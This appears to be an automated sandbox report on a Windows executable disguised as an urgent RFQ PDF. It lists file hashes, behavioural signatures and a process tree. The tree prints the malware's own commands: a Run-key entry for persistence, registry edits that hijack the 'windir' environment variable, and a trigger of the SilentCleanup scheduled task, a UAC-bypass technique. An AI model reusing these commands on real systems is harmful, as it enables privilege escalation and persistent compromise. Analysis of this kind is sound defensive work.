Analysis
- max time kernel
75s - max time network
137s - platform
windows10_x64 - resource
win10v20210408 - submitted
01/10/2021, 17:51
Static task
static1
Behavioral task
behavioral1
Sample
RFQ_AP65425652_032421 urgentespdf.exe
Resource
win7-en-20210920
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
RFQ_AP65425652_032421 urgentespdf.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
- Target RFQ_AP65425652_032421 urgentespdf.exe
- Size 829KB
- Sample211001-we54eachhq
- SHA256 2a51f81fe3b66e5d065e15fccc4c0e767a01ceafcee23d8ab66c04c48b9bc8f9
- MD5 e8c2d77ca70d2590270ace40dac84638
- SHA1 5a41c9146a568518b512d51c9dc5fe3c34886603
- SHA512 5397d9ca2077722a708b17f649efc561a1effe813c28989771442882ae660edd69f060e755f062f8d016bd6add2ac7561da4d6e7bb60309d85f92da725e36bdd
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ioobkcf = "C:\\Users\\Public\\Libraries\\fckbooI.url" RFQ_AP65425652_032421 urgentespdf.exe - Program crash 1 IoCs
pid pid_target Process procid_target 1776 1168 WerFault.exe 68 - Modifies registry key 1 TTPs 3 IoCs
pid Process 2864 reg.exe 2484 reg.exe 2640 reg.exe - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe 1776 WerFault.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeRestorePrivilege 1776 WerFault.exe Token: SeBackupPrivilege 1776 WerFault.exe Token: SeDebugPrivilege 1776 WerFault.exe - Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1168 664 RFQ_AP65425652_032421 urgentespdf.exe 68 PID 664 wrote to memory of 1340 664 RFQ_AP65425652_032421 urgentespdf.exe 69 PID 664 wrote to memory of 1340 664 RFQ_AP65425652_032421 urgentespdf.exe 69 PID 664 wrote to memory of 1340 664 RFQ_AP65425652_032421 urgentespdf.exe 69 PID 1340 wrote to memory of 1916 1340 cmd.exe 73 PID 1340 wrote to memory of 1916 1340 cmd.exe 73 PID 1340 wrote to memory of 1916 1340 cmd.exe 73 PID 1916 wrote to memory of 2484 1916 cmd.exe 75 PID 1916 wrote to memory of 2484 1916 cmd.exe 75 PID 1916 wrote to memory of 2484 1916 cmd.exe 75 PID 1916 wrote to memory of 2640 1916 cmd.exe 76 PID 1916 wrote to memory of 2640 1916 cmd.exe 76 PID 1916 wrote to memory of 2640 1916 cmd.exe 76 PID 1916 wrote to memory of 2716 1916 cmd.exe 77 PID 1916 wrote to memory of 2716 1916 cmd.exe 77 PID 1916 wrote to memory of 2716 1916 cmd.exe 77 PID 664 wrote to memory of 3884 664 RFQ_AP65425652_032421 urgentespdf.exe 80 PID 664 wrote to memory of 3884 664 RFQ_AP65425652_032421 urgentespdf.exe 80 PID 664 wrote to memory of 3884 664 RFQ_AP65425652_032421 urgentespdf.exe 80 PID 3884 wrote to memory of 2864 3884 cmd.exe 82 PID 3884 wrote to memory of 2864 3884 cmd.exe 82 PID 3884 wrote to memory of 2864 3884 cmd.exe 82
Processes
-
C:\Users\Admin\AppData\Local\Temp\RFQ_AP65425652_032421 urgentespdf.exe"C:\Users\Admin\AppData\Local\Temp\RFQ_AP65425652_032421 urgentespdf.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\SysWOW64\mobsync.exeC:\Windows\System32\mobsync.exe2⤵PID:1168
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 4763⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2484
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:2640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:2716
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
PID:2864
-
-